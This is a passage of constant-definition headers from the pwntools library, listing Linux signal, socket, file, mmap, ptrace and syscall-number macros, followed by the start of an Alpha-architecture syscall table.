INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_THIRTYTWO 0x02000000 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define STAT64_HAS_BROKEN_ST_INO 1 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECTORY 0x4000 #define O_NOFOLLOW 0x8000 #define O_DIRECT 0x10000 #define O_LARGEFILE 0 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x404000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define USR26_MODE 0x00 #define FIQ26_MODE 0x01 #define IRQ26_MODE 0x02 #define SVC26_MODE 0x03 #define USR_MODE 0x10 #define FIQ_MODE 0x11 #define IRQ_MODE 0x12 #define SVC_MODE 0x13 #define ABT_MODE 0x17 #define UND_MODE 0x1b #define SYSTEM_MODE 0x1f #define MODE_MASK 0x1f #define T_BIT 0x20 #define F_BIT 0x40 #define I_BIT 0x80 #define CC_V_BIT (1 << 28) #define CC_C_BIT (1 << 29) #define CC_Z_BIT (1 << 30) #define CC_N_BIT (1 << 31) #define PCMASK 0 #define SYS_accept 202 #define SYS_accept4 242 #define SYS_acct 89 #define SYS_add_key 217 #define SYS_adjtimex 171 #define SYS_arch_specific_syscall 244 #define SYS_bind 200 #define SYS_bpf 280 #define SYS_brk 214 #define SYS_capget 90 #define SYS_capset 91 #define SYS_chdir 49 #define SYS_chroot 51 #define SYS_clock_adjtime 266 #define SYS_clock_getres 114 #define SYS_clock_gettime 113 #define SYS_clock_nanosleep 115 #define SYS_clock_settime 112 #define SYS_clone 220 #define SYS_clone3 435 #define SYS_close 57 #define SYS_connect 203 #define SYS_copy_file_range 285 #define SYS_delete_module 106 #define SYS_dup 23 #define SYS_dup3 24 #define SYS_epoll_create1 20 #define SYS_epoll_ctl 21 #define SYS_epoll_pwait 22 #define SYS_eventfd2 19 #define SYS_execve 221 #define SYS_execveat 281 #define SYS_exit 93 #define SYS_exit_group 94 #define SYS_faccessat 48 #define SYS_fadvise64 223 #define SYS_fallocate 47 #define SYS_fanotify_init 262 #define SYS_fanotify_mark 263 #define SYS_fchdir 50 #define SYS_fchmod 52 #define SYS_fchmodat 53 #define SYS_fchown 55 #define SYS_fchownat 54 #define SYS_fcntl 25 #define SYS_fdatasync 83 #define SYS_fgetxattr 10 #define SYS_finit_module 273 #define SYS_flistxattr 13 #define SYS_flock 32 #define SYS_fremovexattr 16 #define SYS_fsconfig 431 #define SYS_fsetxattr 7 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 80 #define SYS_fstatat 79 #define SYS_fstatfs 44 #define SYS_fsync 82 #define SYS_ftruncate 46 #define SYS_futex 98 #define SYS_getcpu 168 #define SYS_getcwd 17 #define SYS_getdents64 61 #define SYS_getegid 177 #define SYS_geteuid 175 #define SYS_getgid 176 #define SYS_getgroups 158 #define SYS_getitimer 102 #define SYS_get_mempolicy 236 #define SYS_getpeername 205 #define SYS_getpgid 155 #define SYS_getpid 172 #define SYS_getppid 173 #define SYS_getpriority 141 #define SYS_getrandom 278 #define SYS_getresgid 150 #define SYS_getresuid 148 #define SYS_getrlimit 163 #define SYS_get_robust_list 100 #define SYS_getrusage 165 #define SYS_getsid 156 #define SYS_getsockname 204 #define SYS_getsockopt 209 #define SYS_gettid 178 #define SYS_gettimeofday 169 #define SYS_getuid 174 #define SYS_getxattr 8 #define SYS_init_module 105 #define SYS_inotify_add_watch 27 #define SYS_inotify_init1 26 #define SYS_inotify_rm_watch 28 #define SYS_io_cancel 3 #define SYS_ioctl 29 #define SYS_io_destroy 1 #define SYS_io_getevents 4 #define SYS_io_pgetevents 292 #define SYS_ioprio_get 31 #define SYS_ioprio_set 30 #define SYS_io_setup 0 #define SYS_io_submit 2 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_kcmp 272 #define SYS_kexec_file_load 294 #define SYS_kexec_load 104 #define SYS_keyctl 219 #define SYS_kill 129 #define SYS_lgetxattr 9 #define SYS_linkat 37 #define SYS_listen 201 #define SYS_listxattr 11 #define SYS_llistxattr 12 #define SYS_lookup_dcookie 18 #define SYS_lremovexattr 15 #define SYS_lseek 62 #define SYS_lsetxattr 6 #define SYS_madvise 233 #define SYS_mbind 235 #define SYS_membarrier 283 #define SYS_memfd_create 279 #define SYS_migrate_pages 238 #define SYS_mincore 232 #define SYS_mkdirat 34 #define SYS_mknodat 33 #define SYS_mlock 228 #define SYS_mlock2 284 #define SYS_mlockall 230 #define SYS_mmap 222 #define SYS_mount 40 #define SYS_move_mount 429 #define SYS_move_pages 239 #define SYS_mprotect 226 #define SYS_mq_getsetattr 185 #define SYS_mq_notify 184 #define SYS_mq_open 180 #define SYS_mq_timedreceive 183 #define SYS_mq_timedsend 182 #define SYS_mq_unlink 181 #define SYS_mremap 216 #define SYS_msgctl 187 #define SYS_msgget 186 #define SYS_msgrcv 188 #define SYS_msgsnd 189 #define SYS_msync 227 #define SYS_munlock 229 #define SYS_munlockall 231 #define SYS_munmap 215 #define SYS_name_to_handle_at 264 #define SYS_nanosleep 101 #define SYS_newfstatat 79 #define SYS_nfsservctl 42 #define SYS_openat 56 #define SYS_open_by_handle_at 265 #define SYS_open_tree 428 #define SYS_perf_event_open 241 #define SYS_personality 92 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe2 59 #define SYS_pivot_root 41 #define SYS_pkey_alloc 289 #define SYS_pkey_free 290 #define SYS_pkey_mprotect 288 #define SYS_ppoll 73 #define SYS_prctl 167 #define SYS_pread64 67 #define SYS_preadv 69 #define SYS_preadv2 286 #define SYS_prlimit64 261 #define SYS_process_vm_readv 270 #define SYS_process_vm_writev 271 #define SYS_pselect6 72 #define SYS_ptrace 117 #define SYS_pwrite64 68 #define SYS_pwritev 70 #define SYS_pwritev2 287 #define SYS_quotactl 60 #define SYS_read 63 #define SYS_readahead 213 #define SYS_readlinkat 78 #define SYS_readv 65 #define SYS_reboot 142 #define SYS_recvfrom 207 #define SYS_recvmmsg 243 #define SYS_recvmsg 212 #define SYS_remap_file_pages 234 #define SYS_removexattr 14 #define SYS_renameat 38 #define SYS_renameat2 276 #define SYS_request_key 218 #define SYS_restart_syscall 128 #define SYS_rseq 293 #define SYS_rt_sigaction 134 #define SYS_rt_sigpending 136 #define SYS_rt_sigprocmask 135 #define SYS_rt_sigqueueinfo 138 #define SYS_rt_sigreturn 139 #define SYS_rt_sigsuspend 133 #define SYS_rt_sigtimedwait 137 #define SYS_rt_tgsigqueueinfo 240 #define SYS_sched_getaffinity 123 #define SYS_sched_getattr 275 #define SYS_sched_getparam 121 #define SYS_sched_get_priority_max 125 #define SYS_sched_get_priority_min 126 #define SYS_sched_getscheduler 120 #define SYS_sched_rr_get_interval 127 #define SYS_sched_setaffinity 122 #define SYS_sched_setattr 274 #define SYS_sched_setparam 118 #define SYS_sched_setscheduler 119 #define SYS_sched_yield 124 #define SYS_seccomp 277 #define SYS_semctl 191 #define SYS_semget 190 #define SYS_semop 193 #define SYS_semtimedop 192 #define SYS_sendfile 71 #define SYS_sendmmsg 269 #define SYS_sendmsg 211 #define SYS_sendto 206 #define SYS_setdomainname 162 #define SYS_setfsgid 152 #define SYS_setfsuid 151 #define SYS_setgid 144 #define SYS_setgroups 159 #define SYS_sethostname 161 #define SYS_setitimer 103 #define SYS_set_mempolicy 237 #define SYS_setns 268 #define SYS_setpgid 154 #define SYS_setpriority 140 #define SYS_setregid 143 #define SYS_setresgid 149 #define SYS_setresuid 147 #define SYS_setreuid 145 #define SYS_setrlimit 164 #define SYS_set_robust_list 99 #define SYS_setsid 157 #define SYS_setsockopt 208 #define SYS_set_tid_address 96 #define SYS_settimeofday 170 #define SYS_setuid 146 #define SYS_setxattr 5 #define SYS_shmat 196 #define SYS_shmctl 195 #define SYS_shmdt 197 #define SYS_shmget 194 #define SYS_shutdown 210 #define SYS_sigaltstack 132 #define SYS_signalfd4 74 #define SYS_socket 198 #define SYS_socketpair 199 #define SYS_splice 76 #define SYS_statfs 43 #define SYS_statx 291 #define SYS_swapoff 225 #define SYS_swapon 224 #define SYS_symlinkat 36 #define SYS_sync 81 #define SYS_sync_file_range 84 #define SYS_syncfs 267 #define SYS_sysinfo 179 #define SYS_syslog 116 #define SYS_tee 77 #define SYS_tgkill 131 #define SYS_timer_create 107 #define SYS_timer_delete 111 #define SYS_timerfd_create 85 #define SYS_timerfd_gettime 87 #define SYS_timerfd_settime 86 #define SYS_timer_getoverrun 109 #define SYS_timer_gettime 108 #define SYS_timer_settime 110 #define SYS_times 153 #define SYS_tkill 130 #define SYS_truncate 45 #define SYS_umask 166 #define SYS_umount2 39 #define SYS_uname 160 #define SYS_unlinkat 35 #define SYS_unshare 97 #define SYS_userfaultfd 282 #define SYS_utimensat 88 #define SYS_vhangup 58 #define SYS_vmsplice 75 #define SYS_wait4 260 #define SYS_waitid 95 #define SYS_write 64 #define SYS_writev 66 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/alpha.h000066400000000000000000001261271507273764500246220ustar00rootroot00000000000000#define __NR_osf_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_osf_old_open 5 #define __NR_close 6 #define __NR_osf_wait4 7 #define __NR_osf_old_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_osf_execve 11 #define __NR_chdir 12 #define __NR_fchdir 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_chown 16 #define __NR_brk 17 #define __NR_osf_getfsstat 18 #define __NR_lseek 19 #define __NR_getxpid 20 #define __NR_osf_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getxuid 24 #define __NR_exec_with_loader 25 #define __NR_ptrace 26 #define __NR_osf_nrecvmsg 27 #define __NR_osf_nsendmsg 28 #define __NR_osf_nrecvfrom 29 #define __NR_osf_naccept 30 #define __NR_osf_ngetpeername 31 #define __NR_osf_ngetsockname 32 #define __NR_access 33 #define __NR_osf_chflags 34 #define __NR_osf_fchflags 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_osf_old_stat 38 #define __NR_setpgid 39 #define __NR_osf_old_lstat 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_osf_set_program_attributes 43 #define __NR_osf_profil 44 #define __NR_open 45 #define __NR_osf_old_sigaction 46 #define __NR_getxgid 47 #define __NR_osf_sigprocmask 48 #define __NR_osf_getlogin 49 #define __NR_osf_setlogin 50 #define __NR_acct 51 #define __NR_sigpending 52 #define __NR_ioctl 54 #define __NR_osf_reboot 55 #define __NR_osf_revoke 56 #define __NR_symlink 57 #define __NR_readlink 58 #define __NR_execve 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_osf_old_fstat 62 #define __NR_getpgrp 63 #define __NR_getpagesize 64 #define __NR_osf_mremap 65 #define __NR_vfork 66 #define __NR_stat 67 #define __NR_lstat 68 #define __NR_osf_sbrk 69 #define __NR_osf_sstk 70 #define __NR_mmap 71 #define __NR_osf_old_vadvise 72 #define __NR_munmap 73 #define __NR_mprotect 74 #define __NR_madvise 75 #define __NR_vhangup 76 #define __NR_osf_kmodcall 77 #define __NR_osf_mincore 78 #define __NR_getgroups 79 #define __NR_setgroups 80 #define __NR_osf_old_getpgrp 81 #define __NR_setpgrp 82 